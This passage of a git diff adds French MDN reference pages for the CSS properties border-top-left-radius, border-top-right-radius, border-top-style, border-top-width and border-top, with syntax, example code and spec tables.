+</ul>
diff --git a/files/fr/web/css/border-top-left-radius/index.html b/files/fr/web/css/border-top-left-radius/index.html
new file mode 100644
index 0000000000..8654e68903
--- /dev/null
+++ b/files/fr/web/css/border-top-left-radius/index.html
@@ -0,0 +1,138 @@
+---
+title: border-top-left-radius
+slug: Web/CSS/border-top-left-radius
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-top-left-radius
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-top-left-radius</code></strong> définit le rayon de courbure de la bordure pour le coin en haut à gauche de la boîte. L'arrondi peut être un fragment de cercle ou d'ellipse. Si une des valeurs vaut <code>0</code>, aucun arrondi n'a lieu et le coin est un angle droit.Un arrière-plan (que ce soit une couleur ou une image) sera rogné selon la bordure même si celle-ci est arrondie. L'endroit du rognage est défini selon la valeur de {{cssxref("background-clip")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-left-radius.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note"><strong>Note :</strong> Si la valeur de cette propriété n'est pas définie par la propriété raccourcie {{cssxref("border-radius")}} et que cette dernière est appliquée après <code>border-top-left-radius</code>, cela aura pour effet de réinitialiser la valeur avec la valeur initiale de <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">la propriété raccourcie</a>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Le coin est un quart de cercle         */
+/* La valeur indique le rayon de courbure */
+border-top-left-radius: 3px;
+
+/* Le coin est un quart d'ellipse         */
+/* La première valeur indique le demi-axe */
+/* horizontal et la seconde le demi-axe   */
+/* vertical                               */
+border-top-left-radius: 0.5em 1em;
+
+border-top-left-radius: inherit;
+</pre>
+
+<p>Cette propriété peut prendre deux formes :</p>
+
+<ul>
+ <li>Une première avec une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure pour ce coin</li>
+ <li>Une seconde avec deux valeurs
+  <ul>
+   <li>La première est une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure de l'axe horizontal de l'ellipse pour ce coin</li>
+   <li>La seconde est une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure de l'axe vertical de l'ellipse pour ce coin</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>La mesure du rayon ou de l'un des demi-axes de l'ellipse. Une valeur absolue peut être exprimée dans n'importe quelle unité autorisée pour le type {{cssxref("&lt;length&gt;")}}. Les valeurs exprimées en pourcentage font référence à la hauteur de la boîte pour les valeurs verticales et à la largeur de la boîte pour les valeurs horizontales. Les valeurs négatives ne sont pas autorisées.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: lightgreen;
+  border: solid 1px black;
+  width: 100px;
+  height: 130px;
+}
+
+.arc_cercle {
+  border-top-left-radius: 40px 40px;
+}
+
+.arc_ellipse {
+  border-top-left-radius: 40px 20px;
+}
+
+.pourcentage {
+  border-top-left-radius: 40%;
+}
+
+.rognage {
+  border: black 10px double;
+  border-top-left-radius: 40%;
+  background-color: rgb(250,20,70);
+  background-clip: content-box; // essayez margin-box...
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"> &lt;div class="arc_cercle"&gt;&lt;/div&gt;
+ &lt;div class="arc_ellipse"&gt;&lt;/div&gt;
+ &lt;div class="pourcentage"&gt;&lt;/div&gt;
+ &lt;div class="rognage"&gt;&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","540")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-radius', 'border-top-left-radius')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-top-left-radius")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("border-radius")}}</li>
+ <li>Les propriétés pour les autres coins :
+  <ul>
+   <li>{{cssxref("border-top-right-radius")}},</li>
+   <li>{{cssxref("border-bottom-right-radius")}},</li>
+   <li>{{cssxref("border-bottom-left-radius")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-top-right-radius/index.html b/files/fr/web/css/border-top-right-radius/index.html
new file mode 100644
index 0000000000..1b3c846a99
--- /dev/null
+++ b/files/fr/web/css/border-top-right-radius/index.html
@@ -0,0 +1,140 @@
+---
+title: border-top-right-radius
+slug: Web/CSS/border-top-right-radius
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-top-right-radius
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-top-right-radius</code></strong> définit le rayon de courbure de la bordure pour le coin en haut à droite de la boîte. L'arrondi peut être un fragment de cercle ou d'ellipse. Si une des valeurs vaut <code>0</code>, aucun arrondi n'a lieu et le coin est un angle droit.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-right-radius.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Un arrière-plan (que ce soit une couleur ou une image) sera rogné selon la bordure même si celle-ci est arrondie. L'endroit du rognage est défini selon la valeur de {{cssxref("background-clip")}}.</p>
+
+<div class="note"><strong>Note :</strong> Si la valeur de cette propriété n'est pas définie par la propriété raccourcie {{cssxref("border-radius")}} et que cette dernière est appliquée après <code>border-top-radius-radius</code>, cela aura pour effet de réinitialiser la valeur avec la valeur initiale de <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">la propriété raccourcie</a>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Le coin est un quart de cercle         */
+/* La valeur indique le rayon de courbure */
+border-top-right-radius: 3px;
+
+/* Le coin est un quart d'ellipse         */
+/* La première valeur indique le demi-axe */
+/* horizontal et la seconde le demi-axe   */
+/* vertical                               */
+border-top-right-radius: 0.5em 1em;
+
+border-top-right-radius: inherit;
+</pre>
+
+<p>Cette propriété peut prendre deux formes :</p>
+
+<ul>
+ <li>Une première avec une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure pour ce coin</li>
+ <li>Une seconde avec deux valeurs
+  <ul>
+   <li>La première est une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure de l'axe horizontal de l'ellipse pour ce coin</li>
+   <li>La seconde est une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>) qui indique le rayon de courbure de l'axe vertical de l'ellipse pour ce coin</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length-percentage&gt;</code></dt>
+ <dd>La mesure du rayon ou de l'un des demi-axes de l'ellipse. Une valeur absolue peut être exprimée dans n'importe quelle unité autorisée pour le type {{cssxref("&lt;length&gt;")}}. Les valeurs exprimées en pourcentage font référence à la hauteur de la boîte pour les valeurs verticales et à la largeur de la boîte pour les valeurs horizontales. Les valeurs négatives ne sont pas autorisées<code>.</code></dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: lightgreen;
+  border: solid 1px black;
+  width: 100px;
+  height: 130px;
+}
+
+.arc_cercle {
+  border-top-right-radius: 40px 40px;
+}
+
+.arc_ellipse {
+  border-top-right-radius: 40px 20px;
+}
+
+.pourcentage {
+  border-top-right-radius: 40%;
+}
+
+.rognage {
+  border: black 10px double;
+  border-top-right-radius: 40%;
+  background-color: rgb(250,20,70);
+  background-clip: content-box; // essayez margin-box...
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html"> &lt;div class="arc_cercle"&gt;&lt;/div&gt;
+ &lt;div class="arc_ellipse"&gt;&lt;/div&gt;
+ &lt;div class="pourcentage"&gt;&lt;/div&gt;
+ &lt;div class="rognage"&gt;&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","540")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-radius', 'border-top-right-radius')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-top-right-radius")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété raccourcie {{cssxref("border-radius")}}</li>
+ <li>Les propriétés pour les autres coins :
+  <ul>
+   <li>{{cssxref("border-top-left-radius")}},</li>
+   <li>{{cssxref("border-bottom-right-radius")}},</li>
+   <li>{{cssxref("border-bottom-left-radius")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-top-style/index.html b/files/fr/web/css/border-top-style/index.html
new file mode 100644
index 0000000000..d541ac4b44
--- /dev/null
+++ b/files/fr/web/css/border-top-style/index.html
@@ -0,0 +1,230 @@
+---
+title: border-top-style
+slug: Web/CSS/border-top-style
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-top-style
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété<strong> <code>border-top-style</code></strong> définit le style de ligne utilisé pour mettre en forme la bordure en haut d'une boîte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note"><strong>Note :</strong> La spécification ne définit pas la façon dont les bordures de différents styles se rejoignent dans les coins.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+border-top-style: none;
+border-top-style: hidden;
+border-top-style: dotted;
+border-top-style: dashed;
+border-top-style: solid;
+border-top-style: double;
+border-top-style: groove;
+border-top-style: ridge;
+border-top-style: inset;
+border-top-style: outset;
+
+/* Valeurs globales */
+border-top-style: inherit;
+border-top-style: inherit;
+border-top-style: inherit;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-style&gt;</code></dt>
+ <dd>Un mot-clé décrivant la forme qu'on souhaite avoir pour la bordure du côté haut. Il peut prendre l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>none</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: none; background-color: palegreen;"> </div>
+    </td>
+    <td>L'effet obtenu est le même qu'avec <code>hidden</code> : aucune bordure n'est affichée. Dans ce cas, sauf si une image d'arrière-plan est définie, la valeur calculée de {{cssxref("border-top-width")}} sera <code>0</code>, même si cette dernière indique une autre valeur. Lorsqu'utilisée sur une cellule d'un tableau avec la fusion des bordures, <code>none</code> a la priorité la plus basse donc si une autre bordure est définie et fusionne avec celle-ci, elle sera  affichée.</td>
+   </tr>
+   <tr>
+    <td><code>hidden</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: hidden; background-color: palegreen;"> </div>
+    </td>
+    <td>L'effet obtenu est le même qu'avec <code>none</code> : aucune bordure n'est affichée. Dans ce cas, sauf si une image d'arrière-plan est définie, la valeur calculée de {{cssxref("border-top-width")}} sera <code>0</code>, même si cette dernière indique une autre valeur. Lorsqu'utilisée sur une cellule d'un tableau avec la fusion des bordures, <code>hidden</code> a la plus haute priorité et donc si une autre bordure est définie et fusionne avec celle-ci, aucune ne sera  affichée.</td>
+   </tr>
+   <tr>
+    <td><code>dotted</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: dotted; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une série de points ronds. L'espace entre ces points n'est pas défini par la spécification et est donc laissé à l'implémentation. Le rayon des points correspond à la moitié de {{cssxref("border-top-width")}}.</td>
+   </tr>
+   <tr>
+    <td><code>dashed</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: dashed; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une série de tirets. La taille de ces tirets n'est pas définie par la spécification et est laissée à l'implémentation.</td>
+   </tr>
+   <tr>
+    <td><code>solid</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: solid; background-color: palegreen;"> </div>
+    </td>
+    <td>Affiche une ligne droite continue.</td>
+   </tr>
+   <tr>
+    <td><code>double</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: double; background-color: palegreen;"> </div>
+    </td>
+    <td>Deux lignes droites sont affichées dont la somme des épaisseurs correspond à la valeur fournie par {{cssxref("border-width")}} ou {{cssxref("border-top-width")}}.</td>
+   </tr>
+   <tr>
+    <td><code>groove</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: groove; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D donnant l'impression qu'elle a été gravée dans le document. On obtient un effet opposé à <code>ridge</code>.</td>
+   </tr>
+   <tr>
+    <td><code>ridge</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: ridge; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D donnant l'impression que la bordure ressort du document. L'effet obtenu est opposé à celui obtenu avec <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td><code>inset</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: inset; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure crée un effet 3D qui donne l'impression que la boîte est renfoncée dans le document (l'effet obtenu est opposé à celui obtenu avec <code>outset</code>). Lorsqu'elle est appliquée sur une cellule de tableau et que {{cssxref("border-collapse")}} vaut <code>collapsed</code>, cette valeur se comporte comme <code>groove</code>.</td>
+   </tr>
+   <tr>
+    <td><code>outset</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-width: 3px; border-top-style: outset; background-color: palegreen;"> </div>
+    </td>
+    <td>
+     <p>La bordure crée un effet 3D qui fait ressortir la boîte (l'effet est opposé à <code>inset</code>). Lorsqu'elle est utilisé sur une cellule de tableau avec {{cssxref("border-collapse")}} qui vaut <code>collapsed</code>, cette valeur se comporte comme <code>ridge</code>.</p>
+    </td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+ <dt><code>inherit</code></dt>
+ <dd>Ce mot-clé représente le style de la bordure utilisé pour l'élément parent.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">/* On applique un style sur le tableau */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* Des exemples pour border-top-style */
+.b1 {border-top-style:none;}
+.b2 {border-top-style:hidden;}
+.b3 {border-top-style:dotted;}
+.b4 {border-top-style:dashed;}
+.b5 {border-top-style:solid;}
+.b6 {border-top-style:double;}
+.b7 {border-top-style:groove;}
+.b8 {border-top-style:ridge;}
+.b9 {border-top-style:inset;}
+.b10 {border-top-style:outset;}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td class="b1"&gt;none&lt;/td&gt;
+    &lt;td class="b2"&gt;hidden&lt;/td&gt;
+    &lt;td class="b3"&gt;petits points&lt;/td&gt;
+    &lt;td class="b4"&gt;tirets&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b5"&gt;solid&lt;/td&gt;
+    &lt;td class="b6"&gt;double&lt;/td&gt;
+    &lt;td class="b7"&gt;groove&lt;/td&gt;
+    &lt;td class="b8"&gt;ridge&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td class="b9"&gt;inset&lt;/td&gt;
+    &lt;td class="b10"&gt;outset&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 300, 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-top-style')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-top-style')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-top-style")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres propriétés liées au style des bordures :
+  <ul>
+   <li>{{cssxref("border-left-style")}}</li>
+   <li>{{cssxref("border-right-style")}}</li>
+   <li>{{cssxref("border-bottom-style")}}</li>
+   <li>{{cssxref("border-style")}}.</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés liées à la bordure haute :
+  <ul>
+   <li>{{cssxref("border-top")}}</li>
+   <li>{{cssxref("border-top-color")}}</li>
+   <li>{{cssxref("border-top-width")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-top-width/index.html b/files/fr/web/css/border-top-width/index.html
new file mode 100644
index 0000000000..1f61f14ebc
--- /dev/null
+++ b/files/fr/web/css/border-top-width/index.html
@@ -0,0 +1,158 @@
+---
+title: border-top-width
+slug: Web/CSS/border-top-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-top-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>border-top-width</code></strong> définit l'épaisseur de la bordure pour le côté haut d'une boîte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Une valeur de longueur */
+/* Type &lt;length&gt;          */
+border-top-width: 10em;
+border-top-width: 3vmax;
+border-top-width: 6px;
+
+/* Valeurs avec un mot-clé */
+border-top-width: thin;
+border-top-width: medium;
+border-top-width: thick;
+
+/* Valeurs globales */
+border-top-width: inherit;
+border-top-width: initial;
+border-top-width: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>Une valeur de longueur ({{cssxref("&lt;length&gt;")}}) positive ou un mot-clé qui indique l'épaisseur de la bordure pour le haut de la boîte. Si la valeur est un mot-clé, ce doit être l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>thin</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: solid; border-top-width: thin; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure fine.</td>
+   </tr>
+   <tr>
+    <td><code>medium</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: solid; border-top-width: medium; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure moyenne.</td>
+   </tr>
+   <tr>
+    <td><code>thick</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-top-style: solid; border-top-width: thick; background-color: palegreen;"> </div>
+    </td>
+    <td>Une bordure épaisse.</td>
+   </tr>
+  </tbody>
+ </table>
+ La spécification ne précise pas de façon exacte l'épaisseur correspondant à chacun de ces mots-clés (c'est donc à chaque implémentation de choisir). La spécification requiert toutefois que l'inégalité suivante soit respectée <code>thin ≤ medium ≤ thick</code> et que ces valeurs soient constantes pour un même document.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.element1{
+	border-top: thick solid red;
+}
+.element2{
+	border-top: medium solid orange;
+}
+.element3{
+	border-top: thin solid green;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="element1"&gt;
+  Une bordure épaisse rouge.
+&lt;/p&gt;
+
+&lt;p class="element2"&gt;
+  Une bordure moyenne orange.
+&lt;/p&gt;
+
+&lt;p class="element3"&gt;
+  Et une bordure fine verte.
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-top-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-top-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-top-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres propriétés liées à la largeur de la bordure :
+  <ul>
+   <li>{{cssxref("border-left-width")}},</li>
+   <li>{{cssxref("border-right-width")}},</li>
+   <li>{{cssxref("border-bottom-width")}},</li>
+   <li>{{cssxref("border-width")}}</li>
+  </ul>
+ </li>
+ <li>Les autres propriétés CSS liées à la bordure du côté haut :
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-top")}},</li>
+   <li>{{cssxref("border-top-style")}},</li>
+   <li>{{cssxref("border-top-color")}}.</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border-top/index.html b/files/fr/web/css/border-top/index.html
new file mode 100644
index 0000000000..9581bf1ec2
--- /dev/null
+++ b/files/fr/web/css/border-top/index.html
@@ -0,0 +1,126 @@
+---
+title: border-top
+slug: Web/CSS/border-top
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-top
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>border-top</code></strong> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> qui permet de paramétrer la bordure haute d'un élément.</p>
+
+<p>C'est une propriété raccourcie qui permet de définir les valeurs de :</p>
+
+<ul>
+ <li>{{cssxref("border-top-width")}},</li>
+ <li>{{cssxref("border-top-style")}},</li>
+ <li>{{cssxref("border-top-color")}}.</li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/css/border-top.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<div class="note">
+<p><strong>Note :</strong> Les trois valeurs de la propriété raccourcie peuvent être définies dans n'importe quel ordre et une ou deux d'entre elles peuvent être absentes.</p>
+
+<p>Comme pour les autres propriétés raccourcies, <code>border-top</code> définit toujours les valeurs de toutes les propriétés qu'elle peut définir, même si celles-ci ne sont pas indiquées. Pour les valeurs qui ne sont pas indiquées, on prendra les valeurs par défaut. Ainsi :</p>
+
+<pre class="brush:css">border-top-style: dotted;
+border-top: thick green;
+</pre>
+
+<p>est équivalent à :</p>
+
+<pre class="brush:css">border-top-style: dotted;
+border-top: none thick green;
+</pre>
+
+<p> et la valeur {{cssxref("border-top-style")}} fournie avant <code>border-top</code> est ignorée.</p>
+
+<p>La valeur par défaut de {{cssxref("border-top-style")}} étant <code>none</code>, si on ne définit pas le style de la bordure, on aura la valeur par défaut, c'est-à-dire qu'on aura aucune bordure.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-top: 1px;
+border-top: 2px dotted;
+border-top: medium dashed green;
+</pre>
+
+<p>Les valeurs de la propriété raccourcie peuvent être fournies dans n'importe quel ordre et une voire deux valeurs peuvent être omises.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;br-width&gt; </code></dt>
+ <dd>Voir {{cssxref("border-top-width")}}.</dd>
+ <dt><code>&lt;br-style&gt; </code></dt>
+ <dd>Voir {{cssxref("border-top-style")}}.</dd>
+ <dt><code>&lt;color&gt; </code></dt>
+ <dd>Voir {{cssxref("border-top-color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  border-top: 3px dotted orange;
+} </pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;
+  En passant elle prit sur un rayon un pot
+  de confiture portant cette étiquette,
+  « MARMELADE D’ORANGES. »
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","150")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
